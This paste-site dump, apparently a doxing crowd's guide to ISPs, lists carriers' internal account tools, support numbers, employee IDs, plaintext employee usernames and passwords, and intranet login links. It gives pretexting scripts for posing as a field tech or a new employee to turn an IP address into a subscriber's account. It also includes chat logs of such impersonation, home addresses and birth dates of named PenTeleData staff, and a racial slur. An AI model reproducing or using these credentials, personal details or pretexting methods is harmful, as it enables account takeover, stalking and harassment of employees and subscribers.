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Title:ISPFUCK An oldie
Created:Aug 11th, 2022
Created by: Anonymous
Views: 602
Comments: 0
Username: Anonymous - (Login)
Please note that all posted information is publicly available and must follow our TOS.
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#ISPNIGGERING || COMPILED BY steven wynhoff!
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o888o `YbodP' `Y8bood8P' o888o o888o
shout out josh, convict, spook, and the og boys >:)
________________________________________________________________________________________________________________________________________
AT&T / Centennial Communications:
Contact:
- Phone: +1 (800) 288-2020
Tool(s):
- SystemX // Master tool, can run credit checks and view DL on file. Tier 3.
- MyCSP // Gateway for all tools.
- CCTP // Call Center Transformation Program, unsure what it does.
- Phoenix // Edits phone # information including rates.
- G2 // Fiber/U-Verse lookup.
- CRM // Main billing tool.
- US-DOT // Backup IP lookup tool.
- CSR Admin // Logs into members accounts.
- CTR // Transfer calls.
- Torch // Can dump text messages.
- Clarify // Another general billing tool.
- Telegence // Shows account information by number including last 4 of SSN on file.
- CCC // Cancels subscriptions.
- DLC // Checks how long the phone # has been in service.
- Agent Verification System // Verifies employee IDs.
- C-Care // Checks for phone/SIM updates.
- CAP // Looks up account, has an IP lookup.
- Tide // New gateway for tools
Employee ID(s):
Name: CHRISTIAN DARCY LAURON
EID: cl388t
Username: cl388t
Password: nikouh86
SQA: coco
Name: EDIZZA JANINE MILLAN
EID: em986x
Username: em986x
Password: Luhan01@
DOB: 09/04/1992
City: Quezon City
http://postimg.org/image/ou3hhs4wv/ // VPN login for TWCr
Link(s):
- https://attathome.att.com/athome_web/index.jsp // AT&T global login.
- https://mycsp.cingular.com/mycspportal/appmanager/portal/csp?_nfpb=true&_pageLabel=login // MyCSP login.
AT&T Global Login ~ Breached!
G2:
http://prntscr.com/55forb // Landing Page
http://prntscr.com/55fovl // Search Options 1
http://prntscr.com/55fp1t // Search Options 2
myCSP:
http://prntscr.com/55fp71 // Landing Page
Clarify CRM:
http://prntscr.com/55fqaz // Random Searches/History
http://prntscr.com/55fqf1 // Main Search
http://prntscr.com/55fqnq // Main Search 2
CMS:
http://prntscr.com/55fr6m // Device Search
CAP:
http://prntscr.com/55fsby // Landing Page
http://prntscr.com/55fsgo // Searches
SystemX:
http://prntscr.com/55gd12
http://prntscr.com/55gd8l
http://prntscr.com/55gdbs
http://prntscr.com/55gjxh
Torch:
http://prntscr.com/55gdqg
http://prntscr.com/55gdx9
CCTP:
http://prntscr.com/55genf
http://prntscr.com/55gexl
SOUTEAST EASE:
http://prntscr.com/55gf6p
http://prntscr.com/55gfgn
AT&T Mobile Share:
http://prntscr.com/55gidt
________________________________________________________________________________________________________________________________________
AOL:
Tool(s):
- Gandalf // General account lookup,
- Merlin // Old tool, general account lookup.
________________________________________________________________________________________________________________________________________
Atlantic Broadband:
Tool(s):
- Putty // IP address lookup.
- NT ASCR // General account lookup tool, can lookup by misc info such as phone #, account number, etc.
- Pidgeon // Internal employee live chat, used to talk to other employees.
Employee ID(s):
Name: Brian
Supervisor's name: Julian
________________________________________________________________________________________________________________________________________
Astound:
Tool(s):
- ICOMS // General billing tool, can lookup by basic info.
________________________________________________________________________________________________________________________________________
Allegiance Communications:
Contact:
- +1 (800) 937-1397
Tool(s):
- GLDS // General billing tool, can lookup by name/account number.
- CMTS // General modem tool, has a CPE search.
________________________________________________________________________________________________________________________________________
Bell:
Contact:
- Phone #: +1 (800) 667-0123
Tool(s):
- Launchpad // NOC exclusive, can do IP 2 Email/Username.
- Maxplus // Master tool.
- CSM 1 Bill // Billing lookups.
- OrderMAX
Employee ID(s):
Name: Vipin
Employee ID: 604084
Name: Shamari
Employee ID: EY17429
XQC IP: http://174.95.241.227
________________________________________________________________________________________________________________________________________
BT (British Telecom):
Contact:
- Phone #: +44 011 44 1793 596931
- Live Chat: https://bt.custhelp.com/app/contact
Tool(s):
- BT WholeSale
- Resolve
- BT iTool
- BT Directory
Employee ID(s):
Name: Adarsh Venkatraman Hegde
________________________________________________________________________________________________________________________________________
Blueridge:
Contact:
- Phone #: +1 (800) CABLE 77 / +1 (800) 222-5377
Tool(s):
- ICOMS
________________________________________________________________________________________________________________________________________
Broadband VI:
Contact:
- Phone # (St Croix): +1 (340) 719.2943
- Phone # (St Thomas): +1 (340) 774-5780
- Fax # (STT): +1 (340) 776-1036
- Fax # (STX): +1 (340) 773-6954
Tool(s):
- Billmax // General billing tool, can look up by phone #, account number, address, etc.
- IP Plan // Has an IP lookup as the name implies.
- ARA
- Winbox
- The Dude
// They don't have employee IDs, lol.
________________________________________________________________________________________________________________________________________
Buckeye Cable:
Contact:
- Phone # (Toledo): +1 (419) 724-9800
- Phone # (Erie County): +1 (419) 627-0800
Tool(s):
- CHR
- BATS
// They don't have employee IDs, lol.
________________________________________________________________________________________________________________________________________
Broadstripe:
Contact:
- Phone #: +1 (410) 987-9300
Tool(s):
- GLDS // General account lookup, can lookup by phone #, account #, address, etc.
________________________________________________________________________________________________________________________________________
Charter:
Phone #: +1 (314) 965-0555
Tool(s):
- D.R.U.M. // DOCSIS clone, has the same searches/CPE lookup.
- Sigma // Billing tool.
- IRIS // Secondary billing tool, can search by name or address.
- CSG // Billing/Account
________________________________________________________________________________________________________________________________________
Clear:
Contact:
- Phone #: +1 (888) 888-3113
- Live Chat: http://www.clear.com/support/contact
Tool(s):
- Boss // Master tool.
- Blue Avalanche // IP address lookups.
- Salesforce // Billing, adding accounts and editing plans.
- Clearsky // Used for checking status and coverage of towers.
- ATAC // VoIP call support.
- Oracle ATG // Also known as 'the oracle', used for livechat.
- Lithium // Used to access tools from live chat.
Link(s):
- https://atac.alianza.com/default.aspx // ATAC login.
________________________________________________________________________________________________________________________________________
Comcast:
Contact:
- Phone #: +1 (800) 934-6489
- Live Chat: https://www.comcastsupport.com/ChatEntry/
Tool(s):
- Einstein // Master tool, can do everything Grandslam could.
- Grandslam // Old tool, everything was transferred to Einsten
- CSG
- TTS // Trouble Ticketing System.
- Vision/Comtrac // IP lookups and general info, unsure what department.
- Competitive Edge // Compares prices with competing companies.
- Bam // Locates stores and service centers.
- ERone // For transferring customers to a higher tier.
- ACSR
- Ninjato
- CLEO
Employee ID(s):
Employee Name: Gilbert
Employee ID: 100-499-892
Employee Region: Boston
Employee SV: Anthony
Method(s):
1:
~ Ask them to look up an IP address in Grandslam, they wont get the full account details but they'll get a MAC address. Then -
~ ask them to look up the MAC address and you'll get the account details.
2:
~ Ask them to go into DNS Lookup in Grandslam and then look up the IP address you need details on.
3:
~ Call the NOC (Network Operation Center) and say that you're a field tech and there's trouble with the neighbors stealing -
~ cable lines and mixing them up and ask them to look it up in Grandslam so you can make sure that the IP address is -
~ routing to the right MAC address. Then just call regular Tier 1's and ask them to look up the MAC address.
3:
~ Ask them to go into Einstein > DNS Lookup and then ask them to look up the IP address you need details on.
Link(s):
- http://grandslam.cable.comcast.com/ // Grandslam login, intranet.
- http://einstein.cable.comcast.com/ // Einstein login, intranet.
- http://vision.cable.comcast.com/ // Vision login, intranet.
________________________________________________________________________________________________________________________________________
Cox:
Contact:
- Phone # (North technical support): +1 (760) 599-6060
- Phone # (South technical support): +1 (619) 262-1122
Tool(s):
- Edgehealth // Master tool, DOCSIS and ICOMS are search options in it.
- DOCSIS // IP address lookups.
- ICOMS // Looks up account by first and last name, account number, social, e-mail address, phone number, etc.
- Vision // Has a 'Subscriber Lookup' with an IPv4 lookup.
- HomeCert
- ICON
- SL2
- INAV
- Polaris
100F92
________________________________________________________________________________________________________________________________________
CenturyLink / QWEST:
Contact:
- Phone #: +1 (800) 860-2255
Tool(s):
- PRISM
- Ensemble
- H.S.I. // Used to chat with other agents.
- QRAD // Unsure.
- Quest // Unsure.
________________________________________________________________________________________________________________________________________
Cogeco:
Contact:
- Phone: +1 (855) 414-0005
Tool(s):
- EasyCare
- TCA
________________________________________________________________________________________________________________________________________
Consolidated Communications / CCI / Surewest:
Tool(s):
- ISP Tools
- Nova Res
- Test Port
- Nerts
- Dashboard
- New Deal
________________________________________________________________________________________________________________________________________
CIK Telecom:
Contact:
- Live Chat: https://livechat.live800.com/livechat/chatClient/chatbox.jsp?companyID=71138207&jid=9696178992
Tool(s):
- Backoffice Portal // Phone #, email, and SIM lookups.
Employee ID(s):
Employee Name: Cole M. Washington
Employee ID: 8697
Link(s):
- https://www.ciktel.com/eCare/ui/Eng/agent_login.asp // Agent login.
________________________________________________________________________________________________________________________________________
Cogent:
Tool(s):
- SSRS
- Remedy Ticketing System
________________________________________________________________________________________________________________________________________
Cable One:
Contact:
- Phone #: +1 (877) 692-2253
Tool(s):
- CSR Tools // Main account lookup tool, can lookup by account number, phone #, email, and MAC address.
- Blue Pill // Sub-section of CSR Tools, can do CPE lookups. Has a version 1 and version 2.
- Cable Data // Can do IP lookups in 'Box Number'.
________________________________________________________________________________________________________________________________________
Cricket:
Contact
- Phone #: +1 (800) CRICKET / 274-2538
- Live Chat: https://www.cricketwireless.com/contactus
Tool(s):
- CID // General lookups, can do phone #, customer ID, etc.
Employee ID(s):
Name: Johanna
ID: JC6629
Position: Cricket CDMA Live Chat Support
________________________________________________________________________________________________________________________________________
Choice Communications VI:
Contact:
- Phone #: +1 (340) 774-0024
Tool(s):
- Invision // General billing tool, can look up by basic info.
// They also have no employee IDs, lol.
________________________________________________________________________________________________________________________________________
Chatr:
Tool(s):
- CWP // General account lookup, can lookup by basic info.
- Wholesale
- Pre-Paid 2 Go
Employee ID(s):
Name: Christine
ID: 6614
Rep ID: 89840
________________________________________________________________________________________________________________________________________
Cincinnati Bell:
Contact:
- Phone #: +1 (513) 565-2210
Tool(s):
-
// Don't know the tools, they have an IP address search box on the main one.
________________________________________________________________________________________________________________________________________
CSpire Wireless:
Contact:
- Phone #: +1 (855) 277-4735
Tool(s):
- CRM // General tool used to lookup accounts, can look up by by basic info.
________________________________________________________________________________________________________________________________________
Dish TV:
Contact:
- Phone #: +1 (800) 333-3474
- Live Chat: https://dishnetwork.custhelp.com/app/chat/chat_launch_en/launchpage/11/p/270/p/270
Tool(s):
- Promo // General tool used to lookup accounts, can look up by by basic info.
- Legacy // Asked a couple of departments about this today, either an old or fake tool.
Employee ID(s):
Name: Tania
ID: RL4
Name: JanMari Allison
ID: HWY
________________________________________________________________________________________________________________________________________
DSL Extreme / Ikano:
Contact:
- Phone # (DSL/Broadband Technical Support): +1 (866) 491-7221
- Phone #: (Dial-up Technical Support): +1 (877) 714-7549
- Fax #: +1 (818) 206-0326
Tool(s):
- Platypus // General billing tool, can lookup by name, username, phone number, etc.
- Toolset // Networking/Tech Support tool, can lookup by broadband IP address under IP Tools and DSL IP under DSL Tools.
Link(s):
- toolset.ikano.com // Toolset link.
________________________________________________________________________________________________________________________________________
Distributel:
Tool(s):
- Tivolt
________________________________________________________________________________________________________________________________________
Eastlink / Bragg Communications:
Contact:
- Phone # (Residential Services): +1 (888) 345-1111
- Phone # (Business Services): +1 (877) 813-1727
- Live Chat: https://admin.instantservice.com/Customer?dnc=1403141012.961
Tool(s):
- Phoenix // Master-tool.
- Address Finder // Sub-tool of Phoenix, looks up by address, phone # or name on account.
- Lease look-up // Sub-tool of Phoenix, IP address lookup.
________________________________________________________________________________________________________________________________________
Earthlink / PeoplePC:
Tool(s):
- MIDAS
________________________________________________________________________________________________________________________________________
EPB:
Contact:
- Phone #: +1 (423) 648-1372
Tool(s):
- Omnia
- iCall
- Cad
- Toolbox
- Element
Start off by calling
When you get on the phone with them, just explain to them that you're having troubles accessing your Omnia and your Toolbox and need some assistance. Then prompt them to open up their Toolbox.
After their Toolbox is opened up, they will see a slot named "DHCP Search" This is where they should type in the IP address.
After that they're able to view everything on the customer's account. They can even view the full SSN!
// Stores full SSNs.
________________________________________________________________________________________________________________________________________
Frontier:
Contact:
- Phone #: +1 (800) 921-8101
- Live Chat: http://www.frontierhelp.com/livechat.cfm
Tool(s):
- JWALK // Unsure.
- iNet // Has WAN IP lookup, can look up by p much any other info too.
- NEEDS // NOC exclusive tool, can look up any IP address.
________________________________________________________________________________________________________________________________________
Fido / Micro-Cell:
Contact:
- Phone #: +1 (888) 481-FIDO / +1 (888) 481-3436
Tool(s):
- ICM // Looks up account by basic info.
________________________________________________________________________________________________________________________________________
Google Fiber:
Contact:
- Phone #: +1 (866) 777-7550
- Fax #: +1 (512) 558-7577
- Live Chat: http://www.fiber-chat.com/
Tool(s):
- CSA // General account search, can search by username, address, and account number.
________________________________________________________________________________________________________________________________________
Grande Communications:
Contact:
- Phone #: +1 (855) 286-6666
Tool(s):
- CSG // General billing tool, can lookup by basic info.
Go to Equipment Tab, then to Internet, then to IP Address.
CSG ~ Breached!
CSG Main Customer Basic Lookup: http://prntscr.com/5972ng
Advanced Lookup: http://prntscr.com/5972p4
Equipment/Internet Lookup: http://prntscr.com/59732v
Employee Notes: http://prntscr.com/5972ix
________________________________________________________________________________________________________________________________________
GCI Communications:
Contact:
- Phone #: +1 (800) 800-4800
Tool(s):
- K9 One // Has an IP address lookup under Service ID Pipe > Static IP address.
Employee ID(s):
Name: Tommy
EID: 105
________________________________________________________________________________________________________________________________________
HughesNet:
Contact:
- Phone #: +1 (866) 347-3292
- Live Chat: http://customercare.myhughesnet.com/support.cfm?source=chat
Internal Numbers:
- 590 101 // Tier 3.
Tool(s):
- CRM // Main billing tool. Can search up by most satellite/account details.
Employee ID(s):
Name: Alla Garcia
ID: 581002
Extension: 90010
// She works in a call center in the Phillipenes, LOL!
________________________________________________________________________________________________________________________________________
Hargray Communications:
Contact:
- Phone #: +1 (877) HARGRAY
- Live Chat: http://www.hargray.com/live-chat
Tool(s):
- HES // Hargray Enterprise System. Can do account lookups by basic information.
Name: Brian
Deparment: Repair/Technical Support
// Repair/Technical Support tier 1s have an IP lookup, other depts don't.
________________________________________________________________________________________________________________________________________
Midcontinent:
Contact:
- Phone #: +1 (800) 888-1300
- Live Chat: https://www.midcocomm.com/Contact-Us/Live-Chat/
Tool(s):
- Snapshot // General account lookup tool, can lookup IP addresses.
- ICOMS // General billing tool, can lookup by basic information.
// Doesn't have employee IDs, lol.
________________________________________________________________________________________________________________________________________
Mobilcity / Dave Wireless:
Contact:
- Phone #: +1 (877) 866-2458
Tool(s):
- ASAP // Looks up by basic info.
________________________________________________________________________________________________________________________________________
Mediacom:
Contact:
- Phone #: +1 (844) 2SIMPLE / 274-6753
- Live Chat: https://support.mediacomcable.com/contact-us
Tool(s):
- ASCR // General billing tool, can lookup by basic info.
- ServAssure // Can do CPE IP lookups.
- MTA Inspector // Tier 1, name explains it all.
Employee ID(s):
Name: Rev
ID: 12145
Mediacom Chat:
Hello, welcome to Mediacom chat.
How can I help you?
You:
Hi, I'm a new employee at Mediacom and my supervisor is busy so I was wondering if you could help me with a few questions?
Mediacom Chat:
Are you a Mediacom customer?
You:
I'm a new Mediacom employee.
Mediacom Chat:
I will connect you with a live agent who can help you. Please wait.
Rev has entered.
Rev:
Hi, Steven. Welcome to Mediacom Chat.
You:
Hi Rev.
Rev:
Good day! I hope you are having a wonderful day.
You:
Did you see the messages I sent before?
Rev:
I have read your concern above.
Rev:
Can you tell me more about it?
You:
Well, I'm in a call with a customer right now and I'm not sure which tool to look up their account in.
Rev:
Oh, I see.
Rev:
May I ask on what you are trying to access?
You:
I'm trying to look up their account.
Rev:
I see.
Rev:
May I ask if do you have their credentials that will help us pull up their account?
You:
Well I don't need you to do a lookup, I just need to know the tool to do a lookup myself.
Rev:
I see.
Rev:
Are they trying to access their Mediacom email account or online billing account?
You:
Yes.
Rev:
Is it online billing account?
You:
Yes.
Rev:
Alright.
Rev:
Let me pull up the link for you.
Rev:
One moment please.
Sent at 4:01:13 PM.
Rev:
Thank you for waiting.
You:
Not a problem.
Rev:
Thank you.
Rev:
You may access their online billing on this link: https://mdcom.convergentcare.com/mdcom/validateSelfCareCustomer.do?action=initialize
Sent at 4:02:28 PM.
Rev:
May I ask if the customer is already registered on the online billing account?
Sent at 4:03:51 PM.
Rev:
Just to remind you, we have different log ins used for the online billing account and for their Mediacom email address.
Rev:
For their Mediacom email address, they cannot use it on the online billing account.
Sent at 4:05:27 PM.
You:
I'm not trying to log into their account, I'm an employee trying to look up their account.
Rev:
Oh, I see.
Sent at 4:06:24 PM.
Rev:
You may use the ACSR on pulling up their account.
Sent at 4:07:12 PM.
You:
Alright, do we use any other tools?
Sent at 4:08:43 PM.
Rev:
That is the only tool or the primary tool for us to pull up and look up for their account.
You:
Alright, do you know what tool can look up by IP address?
Sent at 4:09:46 PM.
Rev:
For the IP address, you may try to check it on servassure or you may direct the customer on this link www.whatismyipaddress.com
Sent at 4:10:44 PM.
You:
So I can look up the IP address in ServAssure?
Sent at 4:12:52 PM.
Rev:
Let me try to double check here on my end.
Rev:
Please allow me a moment.
Sent at 4:13:49 PM.
Rev:
Thank you for waiting.
Rev:
Upon double checking, my apology for the confusion, I can see it here on my end that it is the CPE IP not the IP address. It is best to have them log in on the website above for the exact information on the IP address they have.
Sent at 4:17:57 PM.
You:
Yes, I was trying to look up the CPE IP. Thank you very much sir.
Rev:
You are welcome.
You:
May I have your employee ID for my notes?
Rev:
I do apologize for the delays and for the confusion I brought.
Rev:
My employee ID is 12145.
You:
Not a problem sir.
Rev:
Alright.
Rev:
Thank you.
You:
Do we use any other tools besides ServAssure?
________________________________________________________________________________________________________________________________________
Metrocast:
Contact:
- Phone #: +1 (800) 633-8578
Tool(s):
- CSG // General account lookup, can look up by basic info.
Name: Kate
ID: ***941
________________________________________________________________________________________________________________________________________
Northland Communications:
Contact:
- Phone # (Technical Support Center): +1 (866) 624-2033
- Phone # (NOC): +1 (866) 624-2033
Tool(s):
- DDX // Tier 1 billing tool, can look up phone #, account #, etc.
- DOCSIS // Tier 2, can do CPE lookups.
________________________________________________________________________________________________________________________________________
NewWave Communications:
Contact:
- Phone #: +1 (888) 863-9928
- Live Chat: http://newwavecom.com/livechatactive.php
Tool(s):
- BBX // General modem tool, for IP addresses it has a Static IP lookup.
- ICOMS // General billing tool, can lookup by basic info.
Employee ID(s):
Name: Emma
ID: 961616
________________________________________________________________________________________________________________________________________
nTelos:
Tool(s):
- ICMS // General account lookup, can lookup by name, phone #, account #, etc.
Employee ID(s):
Name: Hannah
ID: 202848
________________________________________________________________________________________________________________________________________
Innovative Cable / VIPowerNet / PowerNet:
Contact:
- Phone #: +1 (340) 779-9999
Tool(s):
- Inquiry // General billing tool, can look up by name, acc number, username, phone number, etc.
________________________________________________________________________________________________________________________________________
Optimum Online:
Contact:
- Phone # (Main Line): 888-276-5255
- Phone # (Connecticut customer service): +1 (203) 870-2583
- Phone # (New Jersey customer service): +1 (973) 230-6046
- Phone # (Long Island customer service): +1 (631) 393-0636
- Phone # (NY Bronx / Brooklyn / Westchester customer service): +1 (718) 860-3513
- Phone # (NOC): +1 (516) 393-5363
- Live Chat: http://optimum.custhelp.com/app/chat/chat_launch
Tool(s):
- TDA // Billing tool.
- Cable Data // IP address to account, supervisors only.
- Optix
- KDB
- Lite
- Trio
- Remedy
- I.D.A
- DDP
- ClearTRAN // Payment system.
- Boost
- ServerShore
Employee ID(s):
Name: Quentin
ID: 6291
Name: Charles
ID: CWH
Position: Supervisor
CableVision I.D.A. ~ Breached!
Main Page: http://prntscr.com/5977hx
Search: http://prntscr.com/5977nh
Other Search Shit: http://prntscr.com/5977ya
Small Search Box: http://prntscr.com/5977rx
Equipment Search: http://prntscr.com/59781y
Modem, Smart Card, TN, Video Box
Employee Remedy: http://prntscr.com/59787a
Desktop: http://prntscr.com/59789o
Method(s):
1:
~ Call the NOC (Network Operation Center) and say that you're a field tech and there's trouble with the neighbors stealing -
~ cable lines and mixing them up and ask them to look it up in ? so you can make sure that the IP address is routing to -
~ the right MAC address. Then just call regular Tier 1's and ask them to look up the MAC address.
________________________________________________________________________________________________________________________________________
PenTeleData:
Contact:
- Phone #: +1 (800) 281-3564
- Live Chat: http://whoson.ptd.net
Tool(s):
- S.M.A.R.T. // Master tool, can pull anything.
Employee ID(s):
Name: Joann
CFR: CSR2 // Employee ID.
Position: Supervisor 2 PenTeleData, Corporate Office
Name: John B
Username: johnb
password: Myjoyce22
Employee dox(es):
Name: Jeffrey T. Reinhard
DOB: 05/02/1955
Address: 3320 Center St Apt 169, Whitehall, PA 18052-2825
Previous address(es):
- 1 A81 # F Whitehall, PA 18052
- 3316 Carbon St Apt 81 Whitehall, PA 18052
- 142 Cherry St Coplay, PA 18037
- 4206 Lehigh St, Whitehall, PA 18052
Email: prosales@corp.ptd.net
Skype: prosales@corp.ptd.net
Position: Chief Executive Officer
---------------------------------------------------------------
Name: Brian J. Mengel
Phone #: +1 (610) 562-4532 // Landline, Verizon
Address: 1711 Windsor Castle Rd, Hamburg, PA 19526
Previous Address(es):
- 148 Rhoads Rd # 1 Kutztown, PA 19530
- RR 2 Box 239 Kempton, PA 19529
- 4113 RR 4 POB Hamburg, PA 19526
- 239 RR 2 POB Kempton, PA 19529
- 37 Wood Duck Ln Kempton, PA 19529
- 2176 RR 2 POB Leesport, PA 19533
PO Box(es):
- PO Box 2 # 239 Kempton, PA 19529
- PO Box 399 Hamburg, PA 19526
Email: mengel@corp.ptd.net
Skype: mengel@corp.ptd.net
Position: Chief Technology Officer
---------------------------------------------------------------
Name: Scott J. Hoppel
Phone #: +1 (724) 755-2309 // Landline, Verizon
Address: 133 Edgewood Dr, New Stanton, PA 15672-9795
Previous Address(es):
- 511 Payne Hill Rd Apt 218R Clairton, PA 15025
- 108 Crawford Ave Northern Cambria, PA 15714
- 2120 Lazor St Apt 121 Indiana, PA 15701
- 108 Crawford Ave Spangler, PA 15775
PO Box(es):
- PO Box 125 Hastings, PA 16646
- PO Box 637 Spangler, PA 15775
Email: shoppel@corp.ptd.net
Skype: shoppel@corp.ptd.net
Position: Corporate Account Executive
---------------------------------------------------------------
Name: Dean M. Hosier
Phone #: +1 (610) 826-7251 // Landline, Sprint
Address: 305 Manor Dr, Palmerton, PA 18071
Previous address: 547 Mauch Chunk Rd Palmerton, PA 18071
Email: dhos@ptd.net
---------------------------------------------------------------
Name: Stephanie Simmons Bollinger
DOB: 02/16/1979
Phone Number: +1 (717) 731-0409 // Landline, Verizon
Address: 2317 Page St, Camp Hill, PA 17011
Previous address(es):
- 3219 Port Royale Dr S Apt G Fort Lauderdale, FL 33308
- 2612 Logan St Camp Hill, PA 17011
- 8117 Scarborough Ct Indianapolis, IN 46256
- 3300 Port Royale Dr N Apt 346 Fort Lauderdale, FL 33308
- 2624 NE 32nd St Apt 110 Fort Lauderdale, FL 33306
PO Box: PO Box 343 Camp Hill, PA 17001
---------------------------------------------------------------
Name: Stuart Sari
DOB: 09/01/1961
Phone Number: +1 (570) 420-8016 // Landline, Verizon
Address: 825 Penn Est, East Stroudsburg, PA 18301-8655
Previous address(es):
- 875 Penn Est East Stroudsburg, PA 18301
- 13355 SW 9TH CT HOLLYWOOD, FL 33027
PO Box: PO Box 46 Analomink, PA 18320
Email: ssari@corp.ptd.net
Skype: ssari@corp.ptd.net
---------------------------------------------------------------
Name: George A. Strubinger
DOB: 12/31/1969
Phone Number: +1 (570) 325-4216 // Landline, Verizon
Address: 334 South Ave, Jim Thorpe, PA 18229
Previous address(es):
- 10 W COLUMBUS AVE NESQUEHONING, PA 18240
- 1504 W Turner St Apt 2 Allentown, PA 18102
- 14 Rawlings Dr Bear, DE 19701
- 2 A2 # F Allentown, PA 18102
- 10 Wenark Dr Newark, DE 19713
- 168 W Broadway Jim Thorpe, PA 18229
- 1504 W Turner St # 2FL Allentown, PA 18102
PO Box(es):
- PO Box 315 Jim Thorpe, PA 18229
- PO Box 984 Valley Forge, PA 19482
Email(s):
- georges@corp.ptd.net
- whorules@ptd.net
Skype(s):
- whorules1 // Email on account: whorules@ptd.net
- georges@corp.ptd.net
---------------------------------------------------------------
Name: Jason H. Frisvold
DOB: 12/26/1975
Phone Number: +1 (610) 379-5066 // Landline, Verizon
Address: 342 S 3rd St, Lehighton, PA 18235
Previous address(es):
- 106 Logan St Wilkes Barre, PA 18702
- RR 4 Box 530 Pittston, PA 18643
- 76 W Harrison St Tunkhannock, PA 18657
- 10 Fir Dr Tunkhannock, PA 18657
- 57 Main Rd Lehighton, PA 18235
PO box(es):
- PO Box 79 Tunkhannock, PA 18657
- PO Box 530 Pittston, PA 18640
- PO Box 883 Tunkhannock, PA 18657
Email: friz@corp.ptd.net
Skype: friz@corp.ptd.net
---------------------------------------------------------------
Name: Keith A. Pachulski
DOB: **/**/1961
Phone #: +1 (570) 225-6610 // Cell, AT&T
Address: 326 E Ludlow St, Summit Hill, PA 18250
Previous address(es):
- 413 W WHITE ST SUMMIT HILL, PA 18250
- 59 Willow Ln New Ringgold, PA 17960
- 1505 Winton Rd N # 6 Rochester, NY 14609
- RR 1 Box 188E New Ringgold, PA 17960
- 40 Sussex St Port Jervis, NY 12771
- 1554 W Sahuaro Dr # J4 Phoenix, AZ 85029
PO box: PO Box 4242 Port Jervis, NY 12771
Account(s):
Email(s):
- keithp@corp.ptd.net
- info@protectors.cc
Blog: http://keithpachulski.blogspot.com/
LinkedIn: sec0ps
Elance: sec0ps
Twitter: @sec0ps
YouTube: sec0ps
Github: sec0ps
Sourceforge: kpachulski
PacketStorm: sec0ps
Geocaching: http://www.geocaching.com/profile/?guid=8cd750d7-c119-4a09-9e02-4bddad319675
Firefox Addons: https://addons.mozilla.org/en-Us/firefox/user/sec0ps/
Skype(s):
- keith.pachulski
- keithp@corp.ptd.net
PGP: http://pgp.circl.lu/pks/lookup?op=vindex&fingerprint=on&search=0xE193ABAA954974D0
Domain: protectors.cc
WHOIS:
Registrant Contact:
Keith Pachulski
Keith Pachulski
Fax:
413 West White Steet
Summit Hill, PA 18250
US
Administrative Contact:
Keith Pachulski
Keith Pachulski (Email Masking Image@protectors.cc)
+1.5702256610
Fax:
413 West White Steet
Summit Hill, PA 18250
US
Technical Contact:
Keith Pachulski
Keith Pachulski (Email Masking Image@protectors.cc)
+1.5702256610
Fax:
413 West White Steet
Summit Hill, PA 18250
US
Status: Locked
Name Servers:
ns1.emcyber.com
ns2.incyberspace.com
Creation date: 15 Feb 2000 08:00:00
Expiration date: 15 Aug 2011 07:00:00
Position: Security Consultant
---------------------------------------------------------------
Name: Edward M. Christian
Phone Number: +1 (215) 848-9241 // Landline, Verizon
Address: 6375 Sherman St, Philadelphia, PA 19144
Previous address(es):
- 820 CAPITOL DR CARNEGIE, PA 15106
- 177 LINCOLN ST UNIONTOWN, PA 15401
- 311 One Half Robert St Pittsburgh, PA 15222
- 311 1st Ave Pittsburgh, PA 15222
- 21 Landleiss Pl Pittsburgh, PA 15219
PO box: - PO Box 2885 Houston, TX 77252
Email(s):
- edc@corp.ptd.net
- coached@ptd.net
Skype: edc@corp.ptd.net
---------------------------------------------------------------
Name: Frank W. Clements
DOB: **/**/1964
Phone Number: +1 (570) 325-3607 // Landline, Verizon
Address: 631 North St, Jim Thorpe, PA 18229
Previous Address(es):
- 436 Delaware Ave Palmerton, PA 18071
- 244 W Broadway Jim Thorpe, PA 18229
Email: frankc@corp.ptd.net
Skype(s):
- frankclements
- frankc@corp.ptd.net
---------------------------------------------------------------
Link(s):
- http://www2.engr.ptd.net // Tool portal and S.M.A.R.T. login.
- http://server4.engr.ptd.net/login/login.cgi // S.M.A.R.T. login.
- http://corp.ptd.net // Employee email login.
// Side-note: You have to social Blueridge employees instead of the actual PTD ones.
________________________________________________________________________________________________________________________________________
Rogers:
Contact:
- Phone #: +1 (888) 764-3771
- Live Chat: https://www.rogers.com/web/content/contactus
Tool(s):
- V21 // Master-tool, also known as Vision 21. Every tier has access to it.
- ICM // Looks up account, used by wireless agents.
- ICOMS
- Telli // Subtool of ICM, allows you to check devices on account and contracts along with do updates and change SIMs.
- Nova // Resource finder, answers questions regarding tools/products/policy. Employees only.
- SGI // Looks up account, used for internet/cable agents for internet, cable and RPH accounts.
- FDR Modem Diagnostic // Modem diagnostics, probably has a CPE/IP search.
- STR Diagnostic
- SMTView
- techOven // No idea.
- TechExplorer
- FTR
- Ping/DNS Lookup // Sub-tool in the tool portal, can ping/traceroute.
- ICA Downloads // Portal for .ICAs.
- Backup DOCSIS // Can look up MAC addresses, not CPE or MTA IPs. Use in combination with other tools.
- SmartList
- Combust
- Selfserve // Used for support seshs, agents can generate links asking for pieces of information on file (e.g. account #s
// and PIN)
Employee ID format:
First name:
Last name:
ID # (6 digits):
Postal code:
Employee ID(s):
First name: Taylor
ID #: 909837
Call Center: Berry HTS
Supervisor name: Adam
First name: Kevin
ID #: 904065
First name: Usman
ID #: 853726
Position: Supervisor / Tier 2
Term(s):
- RSD // Residential Support Desk
- cx // Customer.
- FlexTab // The amount left owing on a phone's subsidy.
Links:
- http://p0ng.ntsd.rogers.com/ // Ping/DNS lookup tool.
- http://extaccess.rci.rogers.com/ // ICA portal.
- https://www.rogershelp.com/customerserv/ERD.php?s=6 // Employee chat support login.
12:12 PM Connecting...
12:12 PM Connected. One of our Rogers specialists will be with you shortly. Please standby, you will receive an alert when we're available to help.
12:13 PM Support session established with Rodeny.
12:13 PM Rodeny:
Thank you for choosing Rogers, home of Rogers First Rewards, you have reached Rodeny. For your references your session id is:271902889
12:13 PM Nathan Haines:
Hello, I'm a new employee (this is my first shift) and I was wondering if I could ask a few quick questions? My supervisor and RSD are busy.
12:14 PM Rodeny:
I understand
12:15 PM Nathan Haines:
I know about ICM and SGI, but what does V21 do and what would I use it for?
12:16 PM Rodeny:
It's to view the account's information, to make changes and more.
12:17 PM Rodeny:
V21 looks messy If it's your first time seeing it so I understand. It's were you see there plan and details.
12:17 PM Nathan Haines:
ICM is for wireless, SGI is for internet/cable, so what would it exactly do besides them?
12:20 PM Rodeny:
What do you mean besides them sorry?
12:20 PM Nathan Haines:
What other things can it do that they can't?
12:23 PM Rodeny:
